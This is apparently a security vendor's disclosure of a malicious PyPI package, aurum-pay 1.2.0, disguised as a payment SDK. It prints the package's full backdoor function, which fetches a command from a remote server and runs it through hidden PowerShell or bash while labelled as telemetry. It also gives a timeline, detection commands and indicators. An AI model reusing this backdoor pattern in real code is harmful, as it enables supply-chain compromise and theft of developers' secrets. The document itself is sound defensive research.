On 11 November 2026 a package called aurum-pay appeared on PyPI as the "AURUM Payments SDK". It installs cleanly and has no install script. The first time your code makes an API call with it, it asks a server for a command and runs whatever comes back. This post shows the code, the timeline, and where our own product was slow.
What CyberXYZ found
- A remote-command backdoor in aurum-pay 1.2.0, the project's only release. A function documented as "SDK telemetry" fetches text from
hxxps://aurum-casino[.]com/sdk/pingand runs it as a command: hidden PowerShell on Windows, a backgroundbasheverywhere else. - Nothing happens at install time. There is no setup script and no dependency. The backdoor runs on the first API call, so a check that only watches
pip installsees a clean package. - Our scanner flagged it 23 minutes after upload, and our verdict stayed "allow" for 18 hours. The rule that caught it was running in measurement mode. An analyst read the code the same day and CyberXYZ blocked it at 18:42 UTC.
- Reported and removed the same day. We reported it to PyPI and to OpenSSF on 11 November 2026. PyPI had removed the project by 21:22 UTC. The record is MAL-2026-19147, credited to Amazon Inspector, CyberXYZ and Kamil Mańkowski (kam193), who each reported it.
- No CyberXYZ customer installed it. PyPI download statistics show 133 downloads in the last month, as counted on 16 November 2026. That number includes mirrors and scanners.
Treat that machine as compromised. The server could send any command, so there is no fixed list of what it did. Rotate every secret the machine could read (cloud keys, tokens, SSH keys, payment credentials), then rebuild it. The commands below show whether the package is present.
What the package claims to be
The metadata describes a payment SDK for "deposits, payouts, refunds and signed webhooks". The author field reads "AURUM Casino", the homepage is aurum-casino[.]com, and the classifier says "Production/Stable". The first and only upload is numbered 1.2.0, which makes a brand-new project look established.
The code backs the story up. The source archive is 5,029 bytes and holds one Python file of 217 lines: a client class, payments and payouts resources, and webhook signature checks in two formats. It uses only the standard library. Lines 1 to 174 read like a small, ordinary SDK. The backdoor is the last function in the file.
How the backdoor works
Every resource method goes through AurumPay.request(). Its first line calls _boot_once(). A module-level flag makes it run once per process.
It sends a GET request to /sdk/ping with p=win, darwin or linux and the SDK version, using the user agent aurum-pay-python/1.2.0. So far this looks like telemetry.
The response body is decoded as text and kept in _cmd. An empty reply does nothing, so the server decides who gets a command and when.
On Windows: PowerShell with no profile, a hidden window, the command inside a background job, and the no-window process flag. Elsewhere: bash -c with output discarded and the command sent to the background.
Each network call and the whole function sit inside except Exception. If anything fails, the SDK call carries on as if nothing happened.
This is the function as published, from the source archive on PyPI (file sha256 d6e250af80317e26d850f41d5c15e61fad4f678074a4f70695069fb6f7cab206). We read it as text. We did not run it and we did not contact the server.
175 def _boot_once(): 176 """SDK telemetry — report platform on first API call.""" 177 global _booted 178 if _booted: 179 return 180 _booted = True 181 try: 182 import os 183 import platform 184 import subprocess 185 import tempfile 186 _sys = platform.system().lower() 187 _p = "win" if os.name == "nt" else ("darwin" if _sys == "darwin" else "linux") 188 _url = _PING_URL + "?p=" + _p + "&v=" + SDK_VERSION 189 _ua = "aurum-pay-python/" + SDK_VERSION 190 if os.name == "nt": 191 _r = Request(_url, headers={"User-Agent": _ua}) 192 try: 193 _resp = urlopen(_r, timeout=8) 194 _cmd = _resp.read().decode("utf-8", errors="replace").strip() 195 except Exception: 196 _cmd = "" 197 if _cmd: 198 subprocess.Popen( 199 ["powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", 200 "-Command", "Start-Job -ScriptBlock {" + _cmd + "} | Out-Null"], 201 stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, 202 creationflags=0x08000000, 203 ) 204 else: 205 _r = Request(_url, headers={"User-Agent": _ua}) 206 try: 207 _resp = urlopen(_r, timeout=8) 208 _cmd = _resp.read().decode("utf-8", errors="replace").strip() 209 except Exception: 210 _cmd = "" 211 if _cmd: 212 subprocess.Popen( 213 ["bash", "-c", _cmd + " > /dev/null 2>&1 &"], 214 stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, 215 ) 216 except Exception: 217 pass
Lines 198 to 203 and 211 to 214 are the execution. Telemetry sends data out. It does not run what the server sends back, and it does not need a hidden window to do it.
The install is clean. The first API call is the attack.
What the server sent
We did not retrieve the second stage, so this part is not our finding. Kamil Mańkowski, who tracks malicious PyPI packages as kam193, reports that the command installs a next-stage payload: a binary on Linux, and on Windows a private Python environment with an obfuscated payload attached to an image file. He describes the result as a remote access trojan that sets up persistence. The OSV record lists the related download locations and a server address; they are in the indicators below.
Timeline, 11 November 2026 (UTC)
Data table
| Item | From (UTC) | To (UTC) | Exposure |
|---|---|---|---|
Live on PyPI | 2026-11-11 00:10:00 | 2026-11-11 21:22:00 | at most 21 h 12 min |
CyberXYZ verdict: allow | 2026-11-11 00:33:34 | 2026-11-11 18:42:05 | 18 h 8 min |
- 00:10aurum-pay 1.2.0 is uploaded to PyPI.
- 00:19The release reaches the CyberXYZ publish feed.
- 00:33Our scanner reads the package. A rule that looks for "fetch from the network, then execute" fires on line 212. The rule is in measurement mode, so the install decision stays allow.
- about 18:10An analyst reviewing that rule's hits reads the file and confirms the backdoor.
- 18:42CyberXYZ blocks aurum-pay 1.2.0 as analyst-confirmed malware.
- 18:43We file the report with OpenSSF (pull request #1770). The report to PyPI's security team follows within minutes.
- by 21:22PyPI has removed the project. Kamil Mańkowski (kam193) and Amazon Inspector publish their own reports the same day.
- 12 Nov, 05:50OpenSSF merges the report. The combined record is MAL-2026-19147.
Where our product was slow
We had the signal after 23 minutes and did not act on it for 18 hours. The rule that fired was one of nine Python behaviour rules we released on 10 November 2026 in measurement mode: they record what they find and change no decision. We do that with every new rule, because a rule that holds installs has to prove it does not fire on ordinary code first.
That caution has a cost, and this package is the cost. For 18 hours and 8 minutes a CyberXYZ customer asking about aurum-pay 1.2.0 would have been told to go ahead. None did.
The rule is still in measurement mode. In its first six days it fired on 16 packages and aurum-pay was the only malicious one. The other 15 fetch and run code for ordinary reasons, such as launchers and bootstrap scripts. So the rule finds candidates and a person reads them.
How to check your project
The package name is aurum-pay and the import name is aurum_pay.
python3 -m pip show aurum-pay 2>/dev/null | head -2 grep -rniE 'aurum[-_]pay' --include='requirements*.txt' --include='pyproject.toml' \ --include='*.lock' --include='Pipfile' --include='setup.py' --include='setup.cfg' . 2>/dev/null
No output means the package is not installed in that environment and no dependency file in the folder names it. We tested the commands on 16 November 2026 in bash and zsh, in a project without the package (no output) and in one whose requirements.txt pins aurum-pay==1.2.0 (one line printed).
On the network side, search proxy and DNS logs for aurum-casino[.]com and for the user agent aurum-pay-python/1.2.0. A request to /sdk/ping means the backdoor ran.
What CyberXYZ does about it
CyberXYZ Check blocks aurum-pay 1.2.0. We checked on 16 November 2026: the decision is block, "known malicious release". The same verdict reaches CyberXYZ Proxy, CyberXYZ Gate, xyz Scanner and xyz MCP, so an install, a pipeline or an AI coding agent asking for the package is refused. The public report is at packages.cyberxyz.io/package/pypi/aurum-pay.
What this does not cover. Our block came from a person reading the code, not from a rule deciding alone. A package built the same way tomorrow would again be recorded first and blocked after review, until the rule earns the right to hold installs.
Supply-chain risk analysis
Mapped to MITRE ATT&CK:
The static read of aurum-pay 1.2.0, the timeline of our own scanner and verdicts, and the reports to PyPI and OpenSSF on 11 November 2026 are CyberXYZ work. CyberXYZ Check blocks the release (16 November 2026).
Kamil Mańkowski (kam193) and Amazon Inspector each reported the package the same day, and the OSV record credits all three. The description of the second stage is kam193's.
Indicators
The first table is from our read of the package. The second is from the OSV record; we did not retrieve those files.
| Type | Indicator | Context |
|---|---|---|
| Package | aurum-pay 1.2.0 (PyPI) | The only release; removed from PyPI on 11 November 2026 |
| File sha256 | d6e250af80317e26d850f41d5c15e61fad4f678074a4f70695069fb6f7cab206 | aurum_pay/__init__.py, identical in the source archive and the wheel |
| Archive sha256 | 95886536c12c787dbac3eb47a409c38da9e9210cf25f7ec91567a8696dbba6dd | aurum_pay-1.2.0.tar.gz |
| Wheel sha256 | 32a52d3affbd88bb00f182da3b8314c757a84c94e8bfe7f341f04e5409383e8f | aurum_pay-1.2.0-py3-none-any.whl |
| URL | hxxps://aurum-casino[.]com/sdk/ping?p=<os>&v=1.2.0 | Command fetch on the first API call |
| User agent | aurum-pay-python/1.2.0 | Sent with the command fetch and with every SDK request |
| Type | Indicator | Context |
|---|---|---|
| Address | hxxp://209.99.188[.]130:8447 | Listed in MAL-2026-19147 |
| URL | hxxps://www.dropbox[.]com/scl/fi/ovn8wxlle1eev6fapq8kv/rcmd-agent | Second-stage download, listed in MAL-2026-19147 (query string omitted) |
| URL | hxxps://www.dropbox[.]com/scl/fi/matkw0atxpw24psgn19b8/py.zip | Second-stage download, listed in MAL-2026-19147 (query string omitted) |
References
- CyberXYZ, static read of aurum_pay-1.2.0.tar.gz from PyPI and our scanner and verdict records, 11 Nov 2026; CyberXYZ Check verdict and PyPI download statistics, 16 Nov 2026
- CyberXYZ, ossf/malicious-packages pull request #1770, aurum-pay 1.2.0 (filed 11 Nov 2026, merged 12 Nov 2026)
- OSV, MAL-2026-19147: Malicious code in aurum-pay (PyPI), credits Amazon Inspector, CyberXYZ Security Threat Intel Team and Kamil Mańkowski (11 Nov 2026)
- Kamil Mańkowski (kam193), Bad packages: aurum-pay, campaign 2026-11-aurum-pay
- MITRE ATT&CK, T1195.002 Compromise Software Supply Chain